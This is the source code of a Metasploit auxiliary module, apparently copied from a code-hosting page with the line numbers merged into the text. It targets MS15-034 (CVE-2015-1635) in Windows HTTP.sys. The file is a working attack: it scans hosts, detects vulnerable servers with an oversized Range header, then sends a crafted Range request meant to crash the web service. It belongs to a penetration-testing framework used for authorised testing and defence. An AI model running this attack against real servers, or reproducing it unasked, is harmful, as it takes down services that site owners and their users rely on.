Path: blob/master/modules/auxiliary/dos/http/ms15_034_ulonglongadd.rb
19591 views
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45class MetasploitModule < Msf::Auxiliary67# Watch out, dos all the things8include Msf::Auxiliary::Scanner9include Msf::Exploit::Remote::HttpClient10include Msf::Auxiliary::Dos1112def initialize(info = {})13super(14update_info(15info,16'Name' => 'MS15-034 HTTP Protocol Stack Request Handling Denial-of-Service',17'Description' => %q{18This module will check if scanned hosts are vulnerable to CVE-2015-1635 (MS15-034), a19vulnerability in the HTTP protocol stack (HTTP.sys) that could result in arbitrary code20execution. This module will try to cause a denial-of-service.21},22'Author' => [23# Bill did all the work (see the pastebin code), twitter: @hectorh5619371624'Bill Finlayson',25# MSF. But really, these people made it happen:26# https://github.com/rapid7/metasploit-framework/pull/515027'sinn3r'28],29'References' => [30['CVE', '2015-1635'],31['MSB', 'MS15-034'],32['URL', 'https://pastebin.com/ypURDPc4'],33['URL', 'https://github.com/rapid7/metasploit-framework/pull/5150'],34['URL', 'https://community.qualys.com/blogs/securitylabs/2015/04/20/ms15-034-analyze-and-remote-detection'],35['URL', 'http://www.securitysift.com/an-analysis-of-ms15-034/']36],37'License' => MSF_LICENSE,38'Notes' => {39'Stability' => [CRASH_SERVICE_DOWN],40'SideEffects' => [],41'Reliability' => []42}43)44)4546register_options(47[48OptString.new('TARGETURI', [false, 'URI to the site (e.g /site/) or a valid file resource (e.g /welcome.png)', '/'])49]50)51end5253def upper_range540xFFFFFFFFFFFFFFFF55end5657def run_host(ip)58if check_host(ip) == Exploit::CheckCode::Vulnerable59dos_host(ip)60else61print_status('Probably not vulnerable, will not dos it.')62end63end6465# Needed to allow the vulnerable uri to be shared between the #check and #dos66def target_uri67@target_uri ||= super68end6970def get_file_size(_ip)71@get_file_size ||= lambda {72file_size = -173uri = normalize_uri(target_uri.path)74res = send_request_raw('uri' => uri)7576unless res77vprint_error('Connection timed out')78return file_size79end8081if res.code == 40482vprint_error('You got a 404. URI must be a valid resource.')83return file_size84end8586file_size = res.body.length87vprint_status("File length: #{file_size} bytes")8889return file_size90}.call91end9293def dos_host(ip)94file_size = get_file_size(ip)95lower_range = file_size - 29697# In here we have to use Rex because if we dos it, it causes our module to hang too98uri = normalize_uri(target_uri.path)99begin100cli = Rex::Proto::Http::Client.new(ip)101cli.connect102req = cli.request_raw(103'uri' => uri,104'method' => 'GET',105'headers' => {106'Range' => "bytes=#{lower_range}-#{upper_range}"107}108)109cli.send_request(req)110rescue ::Errno::EPIPE, ::Timeout::Error111# Same exceptions the HttpClient mixin catches112end113print_status('DOS request sent')114end115116def potential_static_files_uris117uri = normalize_uri(target_uri.path)118119return [uri] unless uri[-1, 1] == '/'120121uris = ["#{uri}welcome.png"]122res = send_request_raw('uri' => uri, 'method' => 'GET')123124return uris unless res125126site_uri = URI.parse(full_uri)127page = Nokogiri::HTML(res.body.encode('UTF-8', invalid: :replace, undef: :replace))128129page.xpath('//link|//script|//style|//img').each do |tag|130%w[href src].each do |attribute|131attr_value = tag[attribute]132133next unless attr_value && !attr_value.empty?134135uri = site_uri.merge(URI::DEFAULT_PARSER.escape(attr_value.strip))136137next unless uri.host == vhost || uri.host == rhost138139uris << uri.path if uri.path =~ /\.[a-z]{2,}$/i # Only keep path with a file140end141end142143uris.uniq144end145146def check_host(_ip)147potential_static_files_uris.each do |potential_uri|148uri = normalize_uri(potential_uri)149150res = send_request_raw(151'uri' => uri,152'method' => 'GET',153'headers' => {154'Range' => "bytes=0-#{upper_range}"155}156)157158vmessage = "#{peer} - Checking #{uri}"159160if res && res.body.include?('Requested Range Not Satisfiable')161vprint_status("#{vmessage} [#{res.code}] - Vulnerable")162163target_uri.path = uri # Needed for the DoS attack164165return Exploit::CheckCode::Vulnerable166elsif res && res.body.include?('The request has an invalid header name')167vprint_status("#{vmessage} [#{res.code}] - Safe")168169return Exploit::CheckCode::Safe170else171vprint_status("#{vmessage} - Unknown")172end173end174175Exploit::CheckCode::Unknown176end177end178179180